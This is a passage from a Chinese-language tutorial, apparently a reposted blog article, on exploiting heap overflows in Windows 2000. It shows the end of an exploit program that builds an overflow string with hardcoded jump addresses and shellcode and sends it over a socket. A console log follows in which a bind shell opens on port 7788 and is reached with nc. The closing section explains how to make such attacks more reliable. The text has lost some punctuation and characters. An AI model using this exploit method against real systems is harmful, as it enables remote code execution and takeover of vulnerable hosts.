//这个是堆栈中的缓冲区地址在不同的系统中可能略有不同 memcpy(buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode)); //然后把shellcode放在最后面 /* 整个构造好的溢出串如下 ------------------------------------------------------------------------------ |jmp 6 jmp 6...|0x0012f5bf|0x77ebf44c|jmp 6 jmp 6...jmp 6 jmp 6| shellcode | ------------------------------------------------------------------------------ | 40 bytes | 4 bytes | 4 bytes | |shellcode的长度| */ //shellcode的前面要放上几个0x90以便最后一个jmp 6可以跳到其中 buff[sizeof(buff)-1] 0; i 4096; //把溢出串发送过去 ret send(sClient, buff, i, 0); printf(shellcode sended!\ntelnet to 7788 port); closesocket(sClient); WSACleanup(); return 0; } 我们首先以RELEASE模式来编译有漏洞的程序win_heap_vul.c并运行起来。 然后再编译并运行攻击程序win_heap_exp.c C:\HEAP\client\Debugwin_heap_exp localhost 1500 shellcode sended! telnet to 7788 port 如果攻击成功就会在目标主机上打开7788端口用nc连上去。 C:\HEAP\client\Debugnc -vv localhost 7788 YANX [127.0.0.1] 7788 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. C:\HEAP\server\Releasedir C:\HEAP\server\Release dir 驱动器 C 中的卷没有标签。 卷的序列号是 D4FF-AC1D C:\HEAP\server\Release 的目录 2002-05-28 18:10 DIR . 2002-05-28 18:10 DIR .. 2002-05-28 18:10 33,792 vc60.idb 2002-05-28 18:10 40,960 win_heap_vul.exe 2002-05-28 18:10 2,676 win_heap_vul.obj 2002-05-28 18:10 2,910,400 win_heap_vul.pch 4 个文件 2,987,828 字节 2 个目录 2,044,203,008 可用字节 C:\HEAP\server\Releaseexit 成功的攻击了HEAP溢出漏洞的程序并打开了7788端口。 五、总结 通过上面的分析和例子我们已经知道了如何利用Windows下的HEAP溢出。Windows下的HEAP溢出和Linux等系统的都差不多都是将超长的数据拷贝到动态分配的内存块从而导致覆盖掉内存块间的管理结构造成的。唯一不同之处在于Linux等系统的HEAP溢出是通过free()时被利用的而Windows是在再次分配内存是产生问题的这种情况应该也是很容易出现的ASP溢出就是最典型的例子。 但是现在利用这种漏洞还存在一些问题 1、对于线程异常链上所有异常处理函数都无法处理的异常系统才交给默认异常来处理只有在这种情况下我们改写默认异常处理才有效。也就是说只有溢出后弹出错误对话框的漏洞程序我们才能够用上面方法来利用否则的话就必须改写其他地方例如TEB的第一个内存单元或者保存在堆栈中的函数返回地址等。 2、上面的程序用的是shellcode的地址直接定位的方法这种方法在某些情况下可能会造成攻击程序的通用性比较差。其实对于上面那个漏洞程序我们也可以用在系统DLL中的JMP EBP-XXX指令的方法来定位shellcode这样的指令是可以找到的但是这种方法并不具备通用性因此在上面例子里还是用了直接定位shellcode的方法。对于一些可以反复攻击的漏洞程序我们也可以采取暴力法来猜测这个地址。 3、如果溢出发生在进程的默认HEAP上即通过GetProcessHeap()获得的那么在执行shellcode时会出现一些问题因为溢出破坏掉一些HEAP管理结构而shellcode中调用的一些API函数会在进程默认堆上进行内存分配工作因此会导致shellcode无法正常运行。要解决这个问题就需要在shellcode里下一些功夫可以在shellcode实际功能之前恢复被破坏的管理结构或者不使用进行HEAP分配的函数这肯定是一个可以解决的问题。 Windows下的HEAP溢出的发展还不完善没有统一通用的方法来利用要根据出现溢出的程序的具体情况来使用不同的方法来进行攻击。我写下本文的目的在于抛砖引玉希望众位高手能够提出更多更好的办法来解决这些问题使得HEAP溢出能够像STACK溢出那样容易利用。 转载于:https://www.cnblogs.com/F4ncy/archive/2005/04/20/142213.html